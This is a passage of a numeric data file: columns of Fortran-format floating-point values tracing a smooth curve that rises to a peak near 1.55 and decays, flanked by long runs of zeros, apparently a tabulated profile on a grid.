0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.8576998932607242E-09  0.5148474978702150E-07  0.5500333859843751E-06  0.2898571356744415E-05\n  0.1037065667137954E-04  0.2904394432880980E-04  0.6869069328866988E-04  0.1435525383839498E-03  0.2729524897641136E-03\n  0.4817179545381958E-03  0.8004046139757985E-03  0.1265323067409609E-02  0.1918378981427738E-02  0.2806743664553777E-02\n  0.3982376035816319E-02  0.5501419303057878E-02  0.7423496677200373E-02  0.9810930426149240E-02  0.1272790776956854E-01\n  0.1623961574245743E-01  0.2041136538278681E-01  0.2530772356585144E-01  0.3099166862766308E-01  0.3752378368081732E-01\n  0.4496149929855063E-01  0.5335839507962672E-01  0.6276356754813610E-01  0.7322106991690198E-01  0.8476942747035206E-01\n  0.9744123071429918E-01  0.1112628070018588E+00  0.1262539700776599E+00  0.1424278458837341E+00  0.1597907720342443E+00\n  0.1783422675846084E+00  0.1980750690841191E+00  0.2189752283993167E+00  0.2410222674169928E+00  0.2641893844693322E+00\n  0.2884437071578631E+00  0.3137465861762969E+00  0.3400539247340754E+00  0.3673165382520538E+00  0.3954805391293457E+00\n  0.4244877415567311E+00  0.4542760815685687E+00  0.4847800477740307E+00  0.5159311184824792E+00  0.5476582012304797E+00\n  0.5798880710234582E+00  0.6125458039182285E+00  0.6455552028889719E+00  0.6788392132348257E+00  0.7123203250985853E+00\n  0.7459209609702914E+00  0.7795638463441852E+00  0.8131723619807327E+00  0.8466708764954843E+00  0.8799850582522438E+00\n  0.9130421657784031E+00  0.9457713161447614E+00  0.9781037309602292E+00  0.1009972959823397E+01  0.1041315081248019E+01\n  0.1072068881238206E+01  0.1102176009831869E+01  0.1131581116058128E+01  0.1160231961866557E+01  0.1188079515683897E+01\n  0.1215078026337852E+01  0.1241185078158618E+01  0.1266361628127532E+01  0.1290572025989520E+01  0.1313784018282635E+01\n  0.1335968737264703E+01  0.1357100675734715E+01  0.1377157648755932E+01  0.1396120743289401E+01  0.1413974256741546E+01\n  0.1430705625418266E+01  0.1446305343861415E+01  0.1460766876022088E+01  0.1474086559199635E+01  0.1486263501646126E+01\n  0.1497299474703849E+01  0.1507198800308697E+01  0.1515968234655533E+01  0.1523616848783268E+01  0.1530155906797786E+01\n  0.1535598742410441E+01  0.1539960634428920E+01  0.1543258681796175E+01  0.1545511678732089E+01  0.1546739990491811E+01\n  0.1546965430214609E+01  0.1546211137297620E+01  0.1544501457690412E+01  0.1541861826468803E+01  0.1538318653010165E+01\n  0.1533899209057386E+01  0.1528631519925127E+01  0.1522544259069783E+01  0.1515666646213862E+01  0.1508028349186392E+01\n  0.1499659389613263E+01  0.1490590052565443E+01  0.1480850800248451E+01  0.1470472189793603E+01  0.1459484795190111E+01\n  0.1447919133377286E+01  0.1435805594497667E+01  0.1423174376295045E+01  0.1410055422625766E+01  0.1396478366037582E+01\n  0.1382472474357517E+01  0.1368066601218609E+01  0.1353289140445096E+01  0.1338167984206406E+01  0.1322730484842268E+01\n  0.1307003420254224E+01  0.1291012962752784E+01  0.1274784651244435E+01  0.1258343366638420E+01  0.1241713310349911E+01\n  0.1224917985773531E+01  0.1207980182599308E+01  0.1190921963841912E+01  0.1173764655453436E+01  0.1156528838389896E+01\n  0.1139234343002130E+01  0.1121900245622720E+01  0.1104544867221897E+01  0.1087185774007220E+01  0.1069839779843846E+01\n  0.1052522950374696E+01  0.1035250608722480E+01  0.1018037342658465E+01  0.1000897013126039E+01  0.9838427640104167E+00\n  0.9668870330493002E+00  0.9500415637828995E+00  0.9333174184453955E+00  0.9167249917036894E+00  0.9002740251531050E+00\n  0.8839736224835302E+00  0.8678322652333790E+00  0.8518578290525983E+00  0.8360576003997890E+00  0.8204382936023470E+00\n  0.8050060682122852E+00  0.7897665465941298E+00  0.7747248316849636E+00  0.7598855248702404E+00  0.7452527439225495E+00\n  0.7308301409539072E+00  0.7166209203354966E+00  0.7026278565420246E+00  0.6888533118809829E+00  0.6752992540701540E+00\n  0.6619672736296282E+00  0.6488586010574048E+00  0.6359741237603777E+00  0.6233144027150980E+00  0.6108796888351882E+00\n  0.5986699390246809E+00  0.5866848318987949E+00  0.5749237831558405E+00  0.5633859605859940E+00  0.5520702987046087E+00\n  0.5409755129995881E+00  0.5301001137840697E+00  0.5194424196473048E+00  0.5090005704981659E+00  0.4987725401971368E+00\n  0.4887561487740056E+00  0.4789490742297346E+00  0.4693488639221445E+00  0.4599529455361500E+00  0.4507586376402879E+00\n  0.4417631598321903E+00  0.4329636424765457E+00  0.4243571360398264E+00  0.4159406200268177E+00  0.4077110115246057E+00\n  0.3996651733602655E+00  0.3917999218790373E+00  0.3841120343502322E+00  0.3765982560085148E+00  0.3692553067386082E+00\n  0.3620798874117488E+00  0.3550686858825059E+00  0.3482183826548197E+00  0.3415256562262722E+00  0.3349871881197929E+00\n  0.3285996676120873E+00  0.3223597961681734E+00  0.3162642915914723E+00  0.3103098918988991E+00  0.3044933589304323E+00\n  0.2988114817025848E+00  0.2932610795151651E+00  0.2878390048206519E+00  0.2825421458654130E+00  0.2773674291118858E+00\n  0.2723118214507413E+00  0.2673723322118953E+00  0.2625460149830915E+00  0.2578299692446370E+00  0.2532213418286768E+00\n  0.2487173282112436E+00  0.2443151736451206E+00  0.2400121741413617E+00  0.2358056773071348E+00  0.2316930830473297E+00\n  0.2276718441371882E+00  0.2237394666729961E+00  0.2198935104076650E+00  0.2161315889778330E+00  0.2124513700288889E+00\n  0.2088505752441177E+00  0.2053269802839583E+00  0.2018784146411472E+00  0.1985027614173130E+00  0.1951979570263882E+00\n  0.1919619908299856E+00  0.1887929047096988E+00  0.1856887925810768E+00  0.1826477998538276E+00  0.1796681228426198E+00\n  0.1767480081326520E+00  0.1738857519039822E+00  0.1710796992184251E+00  0.1683282432726463E+00  0.1656298246209137E+00\n  0.1629829303707959E+00  0.1603860933549304E+00  0.1578378912818327E+00  0.1553369458685551E+00  0.1528819219578573E+00\n  0.1504715266224071E+00  0.1481045082583851E+00  0.1457796556707337E+00  0.1434957971521608E+00  0.1412517995578756E+00\n  0.1390465673779208E+00  0.1368790418088395E+00  0.1347481998263070E+00  0.1326530532602482E+00  0.1305926478738530E+00\n  0.1285660624478085E+00  0.1265724078709661E+00  0.1246108262385681E+00  0.1226804899590787E+00  0.1207806008705706E+00\n  0.1189103893675429E+00  0.1170691135389732E+00  0.1152560583183238E+00  0.1134705346461653E+00  0.1117118786460041E+00\n  0.1099794508138442E+00  0.1082726352219536E+00  0.1065908387372449E+00  0.1049334902546352E+00  0.1033000399456902E+00\n  0.1016899585228177E+00  0.1001027365192277E+00  0.9853788358483354E-01  0.9699492779823146E-01  0.9547341499485665E-01\n  0.9397290811138079E-01  0.9249298654638069E-01  0.9103324553728220E-01  0.8959329555354877E-01  0.8817276170606399E-01\n  0.8677128317262857E-01  0.8538851263947052E-01  0.8402411575864875E-01  0.8267777062120664E-01  0.8134916724591848E-01\n  0.8003800708345375E-01  0.7874400253576731E-01  0.7746687649051477E-01  0.7620636187027600E-01  0.7496220119635953E-01\n  0.7373414616695294E-01  0.7252195724937327E-01  0.7132540328616367E-01  0.7014426111477837E-01  0.6897831520058859E-01\n  0.6782735728294027E-01  0.6669118603398869E-01  0.6556960673003079E-01  0.6446243093505667E-01  0.6336947619623536E-01\n  0.6229056575105237E-01  0.6122552824581402E-01  0.6017419746523230E-01  0.5913641207280737E-01  0.5811201536172281E-01\n  0.5710085501597033E-01  0.5610278288142408E-01  0.5511765474658521E-01  0.5414533013271837E-01  0.5318567209310896E-01\n  0.5223854702116695E-01  0.5130382446711163E-01  0.5038137696297216E-01  0.4947107985564236E-01  0.4857281114773465E-01\n  0.4768645134597841E-01  0.4681188331691594E-01  0.4594899214965088E-01  0.4509766502540915E-01  0.4425779109367826E-01\n  0.4342926135469399E-01  0.4261196854804814E-01  0.4180580704719781E-01  0.4101067275965932E-01  0.4022646303267519E-01\n  0.3945307656414969E-01  0.3869041331864940E-01  0.3793837444827467E-01  0.3719686221820911E-01  0.3646577993676117E-01\n  0.3574503188971662E-01  0.3503452327882445E-01  0.3433416016424531E-01  0.3364384941079507E-01  0.3296349863782079E-01\n  0.3229301617255276E-01  0.3163231100677876E-01  0.3098129275669249E-01  0.3033987162577284E-01  0.2970795837055464E-01\n  0.2908546426915543E-01  0.2847230109242889E-01  0.2786838107761748E-01  0.2727361690438311E-01  0.2668792167309761E-01\n  0.2611120888527847E-01  0.2554339242606102E-01  0.2498438654859956E-01  0.2443410586029598E-01  0.2389246531075691E-01\n  0.2335938018138393E-01  0.2283476607650571E-01  0.2231853891596374E-01  0.2181061492906659E-01  0.2131091064983147E-01\n  0.2081934291343454E-01  0.2033582885379438E-01  0.1986028590221680E-01  0.1939263178703108E-01  0.1893278453415130E-01\n  0.1848066246849892E-01  0.1803618421622546E-01  0.1759926870767613E-01  0.1716983518103927E-01  0.1674780318662707E-01\n  0.1633309259173651E-01  0.1592562358604172E-01  0.1552531668746990E-01  0.1513209274851720E-01  0.1474587296296080E-01\n  0.1436657887292672E-01  0.1399413237627429E-01  0.1362845573426023E-01  0.1326947157944628E-01  0.1291710292381743E-01\n  0.1257127316707774E-01  0.1223190610509324E-01  0.1189892593845275E-01  0.1157225728111806E-01  0.1125182516913743E-01\n  0.1093755506939646E-01  0.1062937288838200E-01  0.1032720498093588E-01  0.1003097815897619E-01  0.9740619700164219E-02\n  0.9456057356497178E-02  0.9177219362806280E-02  0.8904034445141316E-02  0.8636431829023183E-02  0.8374341247546036E-02\n  0.8117692949311960E-02  0.7866417706180585E-02  0.7620446820816740E-02  0.7379712134019578E-02  0.7144146031816014E-02\n  0.6913681452302325E-02  0.6688251892216657E-02  0.6467791413225554E-02  0.6252234647907211E-02  0.6041516805413253E-02\n  0.5835573676791136E-02  0.5634341639947666E-02  0.5437757664233824E-02  0.5245759314629934E-02  0.5058284755509180E-02\n  0.4875272753955811E-02  0.4696662682613547E-02  0.4522394522037392E-02  0.4352408862520555E-02  0.4186646905366133E-02\n  0.4025050463570553E-02  0.3867561961883894E-02  0.3714124436208813E-02  0.3564681532297067E-02  0.3419177503699341E-02\n  0.3277557208920367E-02  0.3139766107727285E-02  0.3005750256555324E-02  0.2875456302949815E-02  0.2748831478978852E-02\n  0.2625823593545541E-02  0.2506381023522792E-02  0.2390452703627873E-02  0.2277988114946939E-02  0.2168937272013016E-02\n  0.2063250708333439E-02  0.1960879460254761E-02  0.1861775049045227E-02  0.1765889461065943E-02  0.1673175125893125E-02\n  0.1583584892244586E-02  0.1497072001553956E-02  0.1413590059026983E-02  0.1333093002004349E-02  0.1255535065446408E-02\n  0.1180870744346243E-02  0.1109054752869345E-02  0.1040041980010902E-02  0.9737874415562595E-03  0.9102462281261181E-03\n  0.8493734490870866E-03  0.7911241721104120E-03  0.7354533581681445E-03  0.6823157917680999E-03  0.6316660062474194E-03\n  0.5834582039715675E-03  0.5376461713226330E-03  0.4941831884102573E-03  0.4530219335027502E-03  0.4141143822583456E-03\n  0.3774117019399670E-03  0.3428641409258591E-03  0.3104209139870729E-03  0.2800300839961760E-03  0.2516384409654113E-03\n  0.2251913795924475E-03  0.2006327768245250E-03  0.1779048713433524E-03  0.1569481473297049E-03  0.1377012253937927E-03\n  0.1201007641585952E-03  0.1040813766598551E-03  0.8957556647504338E-04  0.7651368930508610E-04  0.6482394658893534E-04\n  0.5443241860150438E-04  0.4526314532314971E-04  0.3723826410463467E-04  0.3027821368846399E-04  0.2430201435404447E-04\n  0.1922763365777299E-04  0.1497244622116435E-04  0.1145379401469120E-04  0.8589650285013768E-05  0.6299385349542388E-05\n  0.4504625622961494E-05  0.3130188220885624E-05  0.2105062280742719E-05  0.1363395085845545E-05  0.8454270900288885E-06\n  0.4983067594254876E-06  0.2767065679872027E-06  0.1431594160449781E-06  0.6804490613003522E-07  0.2918182930693568E-07\n  0.1102919874006033E-07  0.3560261260656263E-08  0.9406176465862757E-09  0.1916420214061158E-09  0.2763777688791933E-10\n  0.2482312356945943E-11  0.1136644735947497E-12  0.1904831683752850E-14  0.6466043629846817E-17  0.1381172060080856E-20\n  0.1274303700193166E-26  0.2106088550891557E-38  0.1212886175035114E-71  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00  0.0000000000000000E+00\n  0.0000000000000000E+00  